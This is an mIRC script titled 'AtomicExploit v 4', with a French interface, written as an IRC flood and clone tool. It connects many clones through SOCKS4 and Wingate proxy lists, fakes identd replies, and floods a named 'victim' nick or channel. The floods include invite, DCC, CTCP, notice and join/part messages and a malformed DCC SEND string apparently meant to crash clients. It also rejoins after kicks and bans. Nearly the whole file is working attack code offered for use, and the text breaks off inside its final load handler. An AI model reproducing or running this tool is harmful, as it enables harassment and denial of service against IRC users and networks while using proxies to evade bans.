;    _________________
;    Dj-mhz & OIMuSiK Production 
;    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
;     o   Author: OiMuSiK;     o   E-mail mauditcurieux@lekiki.com
;     o   Author: DJ-Mhz;     o   E-mail tech.irc@sympatico.ca
;     o   Site Web http://membres.lycos.fr/techirc/Exploit/
;     o   Vesrsion : 3


dialog Geno {
  title "AtomicExploit v 4"
  size -1 -1 103 258
  option dbu
  button "Options" 1, 77 17 24 10
  box "", 2, 1 1 101 50
  icon 3, 8 5 38 45
  edit "" 4, 3 40 97 10, disable
  text "" 5, 22 42 70 7
  button "Fermer" 6, 53 6 24 10, cancel
  button "Aide" 7, 53 17 24 10 
  button "Enlever" 8, 53 28 24 10 
  box "", 9, 1 50 101 29
  text "Serveur:" 10, 3 56 20 7
  text "Modes:" 11, 3 68 17 7
  text "Port:" 12, 65 68 12 7
  box "", 13, 1 75 101 190
  text "Canal\Victime:", 14, 3 80 39 7
  edit "#" 15, 27 109 56 10, autohs
  edit "" 16, 78 67 20 10
  edit "+i" 17, 24 67 30 10, autohs
  edit "" 18, 24 55 74 10, autohs
  edit "" 19, 3 87 30 10, autohs
  edit "" 20, 40 119 43 10, autohs
  edit "" 21, 24 129 59 10, autohs
  edit "" 22, 29 139 54 10, autohs
  edit "" 23, 25 149 58 10, autohs
  edit "" 24, 40 159 43 10, autohs
  edit "" 25, 40 169 43 10, autohs
  edit "" 26, 34 199 66 8, autohs
  text "___________________", 27, 38 94 44 7
  text "- Exploit -", 28, 38 101 50 7
  box "Etats:", 29, 1 220 101 38
  edit "",  30, 4 228 95 30, vsbar  autovs read multi
  radio "Invite" 31, 3 109 25 10
  radio "Dcc Chat" 32, 3 99 32 10
  radio "Dcc Send" 33, 3 119 35 10
  radio "Msg" 34, 3 129 20 10
  radio "Notice" 35, 3 139 25 10
  radio "Ctcp" 36, 3 149 23 10
  radio "Ctcp Reply" 37, 3 159 36 10
  radio "Join/Part" 38, 3 169 32 10
  radio "Own" 101, 62 102 20 6
  radio "Multi-Part" 102, 3 179 32 10
  edit "" 103, 47 190 53 8
  edit "" 104, 40 179 43 10, autohs
  check "Serveur Ident" 39, 3 191 42 7
  button "Minimiser" 40, 77 6 24 10
  button "WWW" 41, 77 28 24 10
  button "Depart" 42, 4 209 24 10
  button "Areter" 43, 28 209 24 10
  button "Quiter" 44, 52 209 24 10
  text "Msg de quit:" 46, 3 200 30 7
  check "Charger" 47, 50 82 23 15, push
  box "" 57, 1 185 101 73
  box "Clones:"  58, 75 79 25 18
  text ""  59, 77 87 21 8 
  button "D\C" 60, 76 209 24 10
  text "X:" 61, 40 80 10 10
  edit "10" 62, 38 87 10 10
}

alias Atomic.Exploit { 
  if ($dialog(Geno)) { return } 
  if ($window(@AtomicExploit)) { 
    window -a @AtomicExploit 
    return 
  }
  unloadversion?
  unset %geno*
  options.write
  dialog -md Geno Geno
}

alias -l gupload.set {
  if ($active != @AtomicExploit) { return }
  window -c  @AtomicExploit
  set %geno-maximize L 
  dialog -m Geno Geno
  .timergenominimize off
  if (%geno.clones $+ %geno.clonew  $+ %geno.clonel > 0 ) { did -c geno 47  } 
  if ($sock(Identd.geno)) { did -c geno 39 }  
  did -o geno 62 1 %geno-gsaveFX
  var %geno-dest 14
  :loop
  inc %geno-dest
  if (%geno-dest > 26) { 
    var %geno-dest 31 
    goto cloop 
  }
  if ( %geno-gsave- [ $+ [ %geno-dest ] ]  == $null) {  goto loop }
  did -o geno %geno-dest 1 %geno-gsave- [ $+ [ %geno-dest ] ]
  goto loop
  :cloop
  if (%geno-dest  > 39) { 
    unset %geno-gsave* 
    if ($left($did(geno,19).text,1) == +) || ($left($did(geno,19).text,1) == &) || ($left($did(geno,19).text,1) == $chr(35)) { 
      did -ub geno 31,32,33,15,20 
      did -e geno 38,25 
      return  
    } 
    did -ub geno 38,25 
    return 
  } 
  if ($gettok(%geno-gsave, $calc(%geno-dest - 30),44) == 1) { did -c geno %geno-dest  }
  inc %geno-dest 
  goto cloop
} 

alias -l gsave.set {
  unset %geno-gsave* 
  var %geno-dest 14
  set %geno-gsaveFX $did(geno,62).text
  :loop
  inc %geno-dest
  if (%geno-dest > 26) { var %geno-dest 31 | goto cloop }
  set %geno-gsave- [ $+ [ %geno-dest ] ] $did(geno,%geno-dest)).text  
  goto loop
  :cloop
  if (%geno-dest  > 38) { return } 
  set %geno-gsave  [ [ %geno-gsave ] $+ ] , [ $+ [ $did(geno, %geno-dest).state ] ]
  inc %geno-dest
  goto cloop
}

menu menubar {
  -=[ AtomicExploit v 4 ]=- { Atomic.Exploit }
}

on *:dialog:geno:edit:*: {
  if ($did == 19) { 
    if ($left($did(geno,19).text,1) == +) || ($left($did(geno,19).text,1) == &) || ($left($did(geno,19).text,1) == $chr(35)) { 
      did -ub geno 31,15,32,33,20 
      did -e geno 38,25,102,104 
      return 
    } 
    did -e geno 31,15,32,33,20
    did -ub geno 38,25,102,104
  }
  if ($did == 16) || ($did == 62) {
    var %tmp = $mid($did(geno,$did).text,$did(geno,$did).selend,1)
    if (%tmp isnum ) { return }
    did -o geno $did 1 $remove($did(geno,$did).text,%tmp) 
  }
}

alias -l d/c {
  sockclose geno* 
  .timergeno* off
  unset %geno*
  sockclose Identd.geno* 
  info - Deconnecter -
  did -u geno 47
}

on *:dialog:geno:sclick:*:{
  if ($did == 60)  {
    d/c
  }
  if ($did == 39) { 
    if ($did(geno,39).state == 1) { info - Serveur Identd : ON - }
    if ($did(geno,39).state == 0) { 
      info - Serveur Identd: OFF -
      sockclose identd.geno* 
    }
  }
  if ($did == 47) { 
    if ($did(geno,47).state == 0) { 
      info [Arreter Charger Clones] 
      .timergeno* off 
      unset %geno.clone* 
      sockclose geno.ip.probe 
      return 
    }
    set %geno.server-port $did(geno,18) $did(geno,16)
    if ($gettok(%geno.server-port,2,32) == $null) { 
      error.msg ok Erreur: Parametre du serveur non complet. 
      did -u geno 47 
      return 
    }
    unset %geno.clone*
    .timergeno* off
    set %geno.clones.modes $did(geno,17)
    var %tmp = $read -l10 $scriptdiroptions.txt 
    sockclose geno.ip.probe
    if ($remove($gettok(%geno.server-port,1,32),.) isletter ) && ($mid(%tmp,1,1) == 1) { 
      sockopen geno.ip.probe %geno.server-port 
      info - Recherche d'ip sur le serveur - 
      info - Chargement du delais - 
      return 
    }
    connect
  }
  if ($did == 7) && ($exists( [ [ $scriptdir ] $+ ] readme.txt )) { run $scriptdirreadme.txt }
  if ($did == 44) { 
    sockclose geno.ip.probe 
    if ($sock(geno*)) { 
    sockwrite -tn geno* QUIT : [ $+ [ $did(geno,26) ] ] } 
    d/c 
  }
  if ($did == 42) { 
    if ($did(geno,19) == $null) { 
      error.msg ok Erreur: "Channel\Victim" non specifier. 
      return 
    } 
    if ($sock(geno.irc*) == $null) { 
      error.msg ok Erreur: Pas de clones disponible. 
      return 
    } 
    .timergeno.flood* off 
    .timergeno.rejoin off 
    if ($gettok(%geno-victim,1,32) == c) { sockwrite -tn geno.irc* PART : $+ $gettok(%geno-victim,2,32) }
    if ($did(geno,31).state $+ $did(geno,32).state $+ $did(geno,33).state $+ $did(geno,34).state $+ $did(geno,35).state $+ $did(geno,36).state $+ $did(geno,37).state $+ $did(geno,38).state $+ $did(geno,101).state $+ $did(geno,102).state $+ $did(geno,103).state $+ $did(geno,104).state < 1) { 
      error.msg ok Erreur: Choisis un type de flood. 
      return  
    } 
    set %geno-victim $iif($left($did(geno,19),1) == + || $left($did(geno,19),1) == & ||  $left($did(geno,19),1) == $chr(35) ,c,n) $did(geno,19) 
    if ($sock(geno.birc*)) { 
      grejoin 
      .timergeno.rejoin -o 0 10 grejoin 
    } 
    set %geno.FloodX $did(geno,62).text 
    unset %geno.genoflood.reps 
    unset %geno.flood.type
    flood.set $gettok(%geno-victim,2-,32) 
  }
  if ($did == 8) { .timertmpdelay 1 0 genocide.unload } 
  if ($did == 43) { 
    flood.halt 
    info - Flood Aretter - 
  } 
  if ($did == 40) { 
    gsave.set 
    .timergenominimize -o 0 0 gupload.set 
    dialog -x geno geno 
    window -pnk +Lb @AtomicExploit 1 1 1 1 
  }
  if ($did == 41) { run http://membres.lycos.fr/techirc/Exploit/ }
  if ($did == 1) { dialog -am OP.geno OP.geno }
} 

alias -l flood.halt {
  .timergeno.flood* off 
  .timergeno.rejoin off 
  if ($gettok(%geno-victim,1,32) == c) { sockwrite -tn geno.irc* PART : $+ $gettok(%geno-victim,2,32)  } 
}

alias -l task {
  if ($dialog(geno) == $null) && ($window(@AtomicExploit) == $null ) { 
    .timergeno* off 
    .timertask off 
    sockclose identd.geno* 
    unset %geno* 
    sockclose geno* 
    return 
  } 
  if ($dialog(geno) != $null) { did -a geno 59 $str(0, $calc( 3 - $len($sock(geno.irc*,0))))) $+ $sock(geno.irc*,0)  $+ $chr(47)  $+  $str(0,$calc( 3 - $len($sock(geno*,0))))) $+ $calc($sock(geno*,0) - $sock(geno.ip.probe,0))  }
}

alias -l flood.set {
  if ($did(geno,31).state == 1) { set %geno.flood.type Invite $1 : $+ $did(geno,15) } 
  if ($did(geno,32).state == 1) { set %geno.flood.type PRIVMSG $1 :
DCC CHAT chat 0 0
  }
  if ($did(geno,33).state == 1) { set %geno.flood.type  PRIVMSG $1 :
DCC SEND $replace($did(geno,20), $chr(32) ,_) 0 0 0
 }
  if ($did(geno,34).state == 1) { set %geno.flood.type PRIVMSG $1 : $+ $did(geno,21) }
  if ($did(geno,35).state == 1) { set %geno.flood.type  NOTICE $1 : $+ $did(geno,22)  }
  if ($did(geno,36).state == 1) { set %geno.flood.type  PRIVMSG $1 :
 $+ $did(geno,23) $+ 
  } 
  if ($did(geno,37).state == 1) { set %geno.flood.type  NOTICE $1 :
 $+ $did(geno,24) $+ 
 }
  if ($did(geno,38).state == 1) { 
    set %geno.flood.type  JOIN : $+ $1-  $chr(131)  PART $1 : $+ $did(geno,25) 
    var %geno.flood.len = $calc($len(ABCD : $+ $1) * 2)   
  } 
  if ($did(geno,101).state == 1) { set %geno.flood.type PRIVMSG $1 :
DCC SEND "+ q + q + q + q + q + q + q + q q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + }
  if ($did(geno,102).state == 1) { set %geno.flood.type JOIN : $+ $1-  $chr(131) PART $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ : $+ Multi-Part  }
  info - Flood en cours -
  if  ($gettok(%geno-victim,1,32) == c) && ($gettok(%geno.flood.type ,1,32) != Join) {
    sockwrite -tn geno.irc* JOIN : [ $+ [ $gettok(%geno-victim,2-,32) ] ] 
  }
  info victim\channel: $gettok(%geno-victim,2,32)
  if (%geno.flood.len == $null) { var %geno.flood.len = $len(%geno.flood.type )  }
  .timergeno.flood -o $calc(%geno.FloodX + 2)  $iif($round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0) > 1,$round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0),1) geno.flood
  geno.flood
}

alias -l geno.flood {
  if ($sock(geno.irc*,0) == 0) { 
    .timergeno.flood* off 
    return 
  } 
  if ($timer(geno.flood).reps == 2) {
    info - Flood terminer - 
    flood.halt 
    return 
  }
  var %tmpt = $iif($round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0) > 1,$round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0),1) 
  var %tmpd = $timer(geno.flood).delay
  if (%tmpd > %tmpt) { 
    .timergeno.flood -o $timer(geno.flood).reps %tmpt geno.flood  
    geno.flood 
    return 
  }
  if (%tmpd < %tmpt) { 
    .timergeno.flood [ $+ [ $ticks ] ] -o 1 $calc(%tmpt - %tmpd) geno.flood 
    .timergeno.flood -o $timer(geno.flood).reps %tmpt geno.flood 
  }
  sockwrite -tn geno.irc* $gettok(%geno.flood.type,1,131)
  sockwrite -tn geno.irc* $$gettok(%geno.flood.type,2-,131) 
}

on *:dialog:geno:init:0:{
  .timertask -o 0 0 task
  if (%geno-gsave == $null) { did -c geno 36 } 
  if ($exists($scriptdirAtomic.jpg)) { did -g geno 3 $scriptdirAtomic.jpg }
  if (%geno-maximize == $null) {
    did -b geno 38,25,102,104
    did -o geno 19 1 Lamer
    did -o geno 5 1 DJ-Mhz et OIMuSiK
    did -o geno 19 1 Lamer
    did -o geno 23 1 Version
    did -a geno 21,22,24,25,26,104 $str(.,40)
    if ($server != $null) { 
      did -o geno 18 1 geneva.ch.eu.undernet.org 
      did -o geno 16 1 6667  
    }
  }
  unset %geno-maximize
} 

dialog Op.Geno {
  title "AtomicExploit - Options"
  size -1 -1 103 140
  option dbu
  box "Options de connections:" 3, 1 5 101 94
  check "Socks4" 4, 4 15 28 7 
  check "Wingate" 5, 4 25 30 7
  check "Local IP" 6, 4 35 29 7
  edit "" 7, 57 14 25 10
  edit "" 8, 57 24 25 10
  edit "" 9, 3 44 14 10
  edit "" 10, 3 56 14 10
  edit "" 11, 3 68 14 10
  edit "" 12, 3 80 14 10
  edit "" 13, 28 102 60 10, autohs
  edit "" 14, 28 112 60 10, autohs
  text "Port:" 15, 45 15 11 7
  text "Port:" 16, 45 25 11 7
  text ":par Socks4" 17, 17 45 30 7
  text ":par Local IP" 18, 17 69 30 7
  text ":par Wingate" 19, 17 57 33 7
  text ":Sec. Delais De Connection " 20, 17 81 84 7
  text "Socks4:" 21, 5 103 22 7
  text "Wingate:" 22, 5 113 22 7
  box "Listes de serveurs:" 23, 1 95 101 30
  button "?" 24, 89 102 10 10
  button "?" 25, 89 112 10 10
  button "Ok" 26, 22 128 20 10
  button "Annuler" 27, 43 128 20 10, ok
  button "Defaut" 28, 64 128 20 10
}

on *:dialog:op.geno:edit:*:{
  var %tmp = $mid($did(op.geno,$did).text,$did(op.geno,$did).selend,1)
  if ($did < 13) && ( %tmp isnum ) || ($did > 12) { return }
  did -o op.geno $did 1 $remove($did(op.geno,$did).text,%tmp) 
}

on *:dialog:op.geno:init:0: {
  options.write 
  var %geno-dest 7
  :edit-load
  if (%geno-dest >= 15) { 
    var %geno-dest 0 
    var %geno-temp = [ [ $read -l10 [ [ $scriptdir ] $+ ] options.txt ] ] 
    goto ch-loop 
  }
  did -o op.geno %geno-dest 1 $read -l [ $+ [ $calc(%geno-dest - 5) ] ] [ [ $scriptdir ] $+ ] options.txt
  inc %geno-dest 
  goto edit-load
  :ch-loop
  inc %geno-dest
  if (%geno-dest >= 4) { return }
  if ($gettok(%geno-temp, %geno-dest ,44) == 1) { did -c op.geno $calc(%geno-dest + 3) }
  goto ch-loop
}

alias -l geno.file-dir {
  if ($1 == s) { 
    var %geno-buffer [ [ $file="Liste de Socks4:" [ [ $mircdirgenocide\ ]  $+ ]  *.txt ] ]  
    if (%geno-buffer)  { did -o op.geno 13 1 %geno-buffer } 
  }
  if ($1 == w) { 
    var %geno-buffer [ [ $file="Liste de Wingate:" [ [ $mircdirgenocide\ ]  $+ ] *.txt ] ] 
    if (%geno-buffer) { did -o op.geno 14 1 %geno-buffer } 
  }
}

on *:dialog:op.geno:sclick:*:{
  if ($did == 24) { .timerdelay -o 1 0 geno.file-dir s }
  if ($did == 25) { .timerdelay -o 1 0 geno.file-dir w }
  if ($did == 26) { 
    write -c [ [ $scriptdir ] $+ ] options.txt *Ne pas editer manuellement*
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,7).text,$did(op.geno,7),1080)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,8).text,$did(op.geno,8).text, 23)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,9).text,$did(op.geno,9).text, 10)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,10).text,$did(op.geno,10).text, 10)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,11).text,$did(op.geno,11).text, 20)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,12).text,$did(op.geno,12).text, 20)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,13).text,$did(op.geno,13).text, [ [ $scriptdir ] $+ ] Socks4.txt)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,14).text,$did(op.geno,14).text, [ [ $scriptdir ] $+ ] Wingate.txt)
    write [ [ $scriptdir ] $+ ] options.txt [ [ $did(op.geno,4).state ] $+ ] , [ $+ [ $did(op.geno,5).state ] $+ ] , [ $+ [ $did(op.geno,6).state ] ]
    dialog -x op.geno op.geno
  }
  if ($did == 28) { op.geno-def }
}

alias -l op.geno-def {
  did -o op.geno 7 1 1080
  did -o op.geno 8 1 23
  did -o op.geno 9 1 10 
  did -o op.geno 10 1 10
  did -o op.geno 11 1 20 
  did -o op.geno 12 1 20
  did -o op.geno 13 1 $scriptdirSocks4.txt
  did -o op.geno 14 1 $scriptdirWingate.txt
  did -c op.geno 4,5,6 
}

alias -l connect { 
  var %tmp = $read -l10 $scriptdiroptions.txt 
  set %geno.socks4list [ [ $read -l8 $scriptdiroptions.txt ] ] 
  set %geno.wingatelist [ [ $read -l9 $scriptdiroptions.txt ] ] 
  if (1 isin %tmp) {
    if ($mid(%tmp,1,1) == 1) && ($exists(%geno.socks4list)) && (%geno.ip.probe) || ($remove($gettok(%geno.server-port,1,32),.) isnum) { 
      if ($remove($gettok(%geno.server-port,1,32),.) isnum) { 
      set %geno.ip.probe $gettok(%geno.server-port,1,32) } 
      set %geno.socks4port [ [ $read -l2 $scriptdiroptions.txt ] ] 
      set %geno.clones [ [ $read -l4 $scriptdiroptions.txt ] ]  
    }
    if ($mid(%tmp,3,1) == 1) && ($exists(%geno.wingatelist)) {  
      set %geno.wingateport [ [ $read -l3 $scriptdiroptions.txt ] ] 
      set %geno.clonew [ [ $read -l5 $scriptdiroptions.txt ] ]  
    }
    if ($mid(%tmp,5,1) == 1) { set %geno.clonel [ [ $read -l6 $scriptdiroptions.txt ] ] }
    if (%geno.socks4list) && ($exists(%geno.socks4list) == $false) && ($mid(%tmp,1,1) == 1) { info Erreur: Impossible de trouver la liste de Socks4. }
    if (%geno.wingatelist) && ($exists(%geno.wingatelist) == $false) && ($mid(%tmp,3,1) == 1)  { info Erreur: Impossible de trouver la liste de Wingate. }
    if (%geno.clonew $+ %geno.clones $+ %geno.clonel == $null) { 
      info Erreur: Pas d'autre types de clones selecter a charger. 
      did -u geno 47 
      return 
    }
    info - Les clones utilise: -
    if (%geno.clonew) { Info Wingate }    
    if (%geno.clones) { Info Socks4(Proxy) }    
    if (%geno.clonel) { Info Local IP }
    info -    
    connect.sockets     
    unset %geno.s#list* %geno.w#list* 
    .timergeno.clone.delay -o 0 [ [ $read -l7 $scriptdiroptions.txt ] ] connect.sockets
    if ($did(geno,39).state == 1) && ($sock(identd.geno) == $null) {
      if ($portfree(113) == $false) { 
        info Erreur - Impossible d'utiliser le port 113 il est utiliser 
        did -u geno 39 
      }
      if ($portfree(113) == $true) { socklisten Identd.geno 113  }
    }
    return
  }
  error.msg ok Erreur: Type(s) de clones pas selectionner.
  did -u geno 47
}

on *:socklisten:Identd.geno:{ sockaccept identd.Geno. [ $+ [ $calc($gettok($sock(identd.Geno.*, $sock(identd.Geno.*,0)),2,46) + 1) ] ]  }

on *:sockread:Identd.geno.*:{ 
  sockread %geno-info.ident 
  sockwrite -nt $sockname %geno-info.ident : USERID : UNIX : $chr($rand(97,122)) $+ $chr($rand(97,122)) $+ $chr($rand(97,122)) $+ $chr($rand(97,122))
  unset  %geno-info.ident  
}

alias -l connect.sockets {
  var %t = $ticks 
  if (%geno.clones > 0)  { 
    dec %geno.clones 
    .timergeno.socks4 [ $+ [  %t ] ] -o 0 0 connect.read.sockets s %t 
  }
  if (%geno.clonew > 0) { 
    dec %geno.clonew 
    .timergeno.wingate [ $+ [  %t ] ] -o 0 0 connect.read.sockets w %t 
  }
  if (%geno.clonel > 0) { 
    dec %geno.clonel  
    sockopen geno.circ [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.circ*, [ [ $sock(geno.circ*,0) ] ] ),3,46) + 1)  ] ] %geno.server-port 
  }
  load.connect? 
}

alias -l load.connect? {
  if (%geno.clones $+ %geno.clonew  $+ %geno.clonel < 1 ) && ($timer(geno.socks4) $+ $timer(geno.wingate) == $null) { 
    .timergeno.clone.delay off 
    info - Etats : Chargement complet 
    unset %geno.clone* 
    if ($dialog(geno)) { did -u geno 47 } 
  }
}

alias -l connect.read.sockets {
  if ($1 == s) { 
    inc %geno.s#list [ $+ [ $2 ] ]
    var %tmps = $read -l [ $+ [ %geno.s#list [ $+ [ $2 ] ] ] ] %geno.socks4list 
    if (%tmps == $null) { 
      .timergeno.socks4 [ $+ [ $2 ] ] off  
      load.connect? 
      return 
    }
    sockopen geno.proxy. [ $+ [ $calc($gettok($sock(geno.proxy*, [ [ $sock(geno.proxy*,0) ] ] ),3,46) + 1) ] ]  $gettok(%tmps,1,32) $iif($gettok(%tmps,2,32),$gettok(%tmps,2,32), %geno.socks4port)
  }
  if ($1 == w) { 
    inc %geno.w#list [ $+ [ $2 ] ]
    var %tmpw = $read -l [ $+ [ %geno.w#list [ $+ [ $2 ] ] ] ] %geno.wingatelist 
    if (%tmpw == $null) { 
      .timergeno.wingate [ $+ [ $2 ] ] off 
      load.connect? 
      return 
    }
  sockopen geno.wingate. [ $+ [ $calc($gettok($sock(geno.wingate*, [ [ $sock(geno.wingate*,0) ] ] ),3,46) + 1) ] ]  $gettok(%tmpw,1,32) $iif($gettok(%tmpw,2,32) ,$gettok(%tmpw,2,32), %geno.wingateport)  }
}

on *:sockopen:geno.circ*:{
  if ($sockerr > 0) { return }
  sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $rand(a,z)  
  sockwrite -tn $sockname NICK $+ $rand(1,999) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) 
}

on *:sockopen:geno.ip.probe:{
  set %geno.ip.probe $sock($sockname).ip
  if ($remove(%geno.ip.probe,.) isletter) { 
    info Erreur: Peut pas retriever le ip du serveur. 
    unset %geno.ip.probe 
  }
  sockclose $sockname
  connect
} 

on *:sockopen:geno.proxy*: {
  if ($sockerr > 0) { return }
  bset &byte 1 4 1 $chr($int($calc($gettok(%geno.server-port,2,32) / 256))) $gettok(%geno.server-port,2,32)  $gettok(%geno.ip.probe,1,46) $gettok(%geno.ip.probe,2,46) $gettok(%geno.ip.probe,3,46) $gettok(%geno.ip.probe,4,46) 0
  sockwrite $sockname &byte 
}

on *:sockread:geno.proxy*:{
  sockread &info.socks4 
  if ($bvar(&info.socks4,2) == 90) {
    sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)
    sockwrite -tn $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,999)
    sockrename $sockname geno.circ [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.circ*, $sock(geno.circ*,0)),3,46) + 1) ] ]
  }
}

on *:sockopen:geno.wingate*: {
  if ($sockerr > 0) { return }
  sockwrite -tn $sockname %geno.server-port
}

on *:sockread:geno.wingate*: {
  sockread %geno.w-info
  if (...Connecter isin %geno.w-info) {
    sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)
    sockwrite -tn $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,999)
    sockrename $sockname  geno.circ [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.circ*,$sock(geno.circ*,0)),3,46) + 1) ] ]
  }
  unset %geno.w-info
}

on *:sockread:geno.circ*:{
  sockread %geno-cc.info
  var %geno-raw = $gettok(%geno-cc.info,2,32)
  if (%geno-raw == 433) { sockwrite -tn $sockname  NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,999) }
  if ( $gettok(%geno-cc.info,1,32) == PING) { sockwrite -tn $sockname PONG %geno-raw }
  if (%geno-raw == 376) { 
    sockwrite -tn $sockname Mode $gettok(%geno-cc.info,3,32) %geno.clones.modes 
    sockrename $sockname geno.irc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.irc*, $sock(geno.irc*,0)),3,46) + 1) ] ]  
    if ($gettok(%geno-victim,1,32) == c) && ($timer(geno.flood)) { sockwrite -tn geno.irc* JOIN : [ $+ [ $gettok(%geno-victim,2-,32) ] ] }
  }
  if (K-line isin %geno-cc.info) && (%geno.nomsgok == $null) { error.msg ok * "K-line" :Les Clone ne peuvent se connecter au serveur. }
  if (G-line isin %geno-cc.info) && (%geno.nomsgok == $null) { error.msg ok * "G-line" :Les Clone ne peuvent se connecter au serveur. }
  unset %geno-cc.info
}

on *:sockread:geno.irc*:{
  sockread %geno-c.info
  var %geno-raw = $gettok(%geno-c.info,2,32)
  if ($gettok(%geno-c.info,1,32) == Erreur) { 
    if (Quit: isin %geno-c.info) { return }
    if (K-line isin %geno-c.info) && (%geno.nomsg == $null) { error.msg yn "K-line" detecter dans le quit du clone, Deconnecter? }
    if (G-line isin %geno-c.info) && (%geno.nomsg == $null) { error.msg yn "G-line" detecter dans le quit du clone, Deconnecter? }
    if (Killed isin %geno-c.info) && (%geno.nomsg == $null) { error.msg yn "Killed" detecter dans le quit du clone, Deconnecter? }
    return 
  }
  if ($gettok(%geno-c.info,1,32) == PING) { sockwrite -tn $sockname PONG %geno-raw }
  if (%geno-raw == KICK) { sockwrite -tn $sockname JOIN $gettok(%geno-c.info,3,32) }
  if (%geno-raw == 474) { 
    if ($sock(geno.birc*,0) == $sock(geno.irc*,0)) && (%geno.bmsg == $null) { 
      info -All Clones have been banned- 
      info -Attempting to rejoin every 10 secs- 
      set %geno.bmsg L 
      set %geno.genoflood.reps $timer(geno.flood).reps 
      .timergeno.flood* off 
    }  
    if (%geno.genoflood.reps) { 
      sockrename $sockname geno.birc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.birc*, [ [ $sock(geno.birc*,0) ] ] ),3,46) + 1) ] ] 
      if ($timer(grejoin) == $null)  { .timergeno.rejoin -o 0 10 grejoin } 
    } 
  }
  unset %geno-c.info
}

alias -l grejoin {
  if ($sock(geno.birc*) == $null) { 
    .timergeno.rejoin off 
    unset %geno.bmsg 
    return 
  }
  sockwrite -tn geno.birc* JOIN $gettok(%geno-c.info,3,32)
}

on *:sockread:geno.birc*:{
  sockread %geno-bc.info
  var %geno-raw = $gettok(%geno-bc.info,2,32)
  if ($gettok(%geno-bc.info,1,32) == PING) { sockwrite -tn $sockname PONG %geno-raw }
  if (%geno-raw == JOIN) { 
    sockrename $sockname geno.irc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.irc*, [ [ $sock(geno.irc*,0) ] ] ),3,46) + 1) ] ] 
    if ($sock(geno.irc*,0) == 1) || (%geno.genoflood.reps) { .timergeno.flood -o %geno.genoflood.reps $iif($round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0) <= 0 ,$round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0),1) geno.flood  }
  } 
}

dialog Msg.Geno {
  title "Atomic.Exploit - Raport d'erreur:"
  size -1 -1 100 50
  option dbu
  text "" 1, 30 5 65 25
  button "OK" 3, 38 35 25 12, ok 
  icon 4, 6 5 16 16
  button "Oui" 5,  25 35 25 12
  button "Non" 6, 50 35 25 12
  check "Ne plus voir le messages" 7, 3 23 85 10
  box "" 8, 0 -2 100 24
}

alias -l info {
  if ($dialog(geno)) {
    did -i geno 30 $did(geno,30).lines $1- 
  }
}

alias error.msg {
  if ($dialog(msg.geno)) { dialog -x msg.geno msg.geno }  
  set %geno.infomsg $2-
  set %geno.infomsgop $1
  dialog -amo msg.geno msg.geno
} 

on *:dialog:msg.geno:init:0:{
  if (%geno.infomsgop == yn) { did -h msg.geno 3 }
  if ($gettok(%geno.infomsgop,1,32) == ok) { did -h msg.geno 5,6,7 }
  if ( $gettok(%geno.infomsg,1,32) == * ) { 
    did -a msg.geno 1 $gettok(%geno.infomsg,2-,32) 
    did -v msg.geno 7  
  }
  if ( $gettok(%geno.infomsg,1,32) != * ) { did -a msg.geno 1 %geno.infomsg }
  dialog -v msg.geno msg.geno
  if ($exists($scriptdirerror.ico)) { did -g msg.geno 4 $scriptdirerror.ico }
  ;unset %geno.infomsg* 
}

on *:dialog:msg.geno:sclick:*:{
  if ($did == 7) { return }
  if ($did == 5) { 
    sockclose geno* 
    sockclose identd.geno* 
    if ($timer(genominimize)) { var %tmp 0 }
    .timergeno* off
    if (%tmp) { .timergenominimize -o 0 0 gupload.set }
    unset %geno.clone*
  }
  if ($did(msg.geno,7).state == 1) && ($did != 3) { set %geno.nomsg 1 }
  if ($did == 3) && ($did(msg.geno,7).state == 1) { set %geno.nomsgok 1 }
  dialog -x msg.geno msg.geno
}

on *:load: { 
  unloadversion?
  echo -a 0,1 AtomicExploit charger avec succes
  echo -a 0,1 AtomicExploit - est accesible dans la Command Toolbar ou en tappant /AtomicExploit
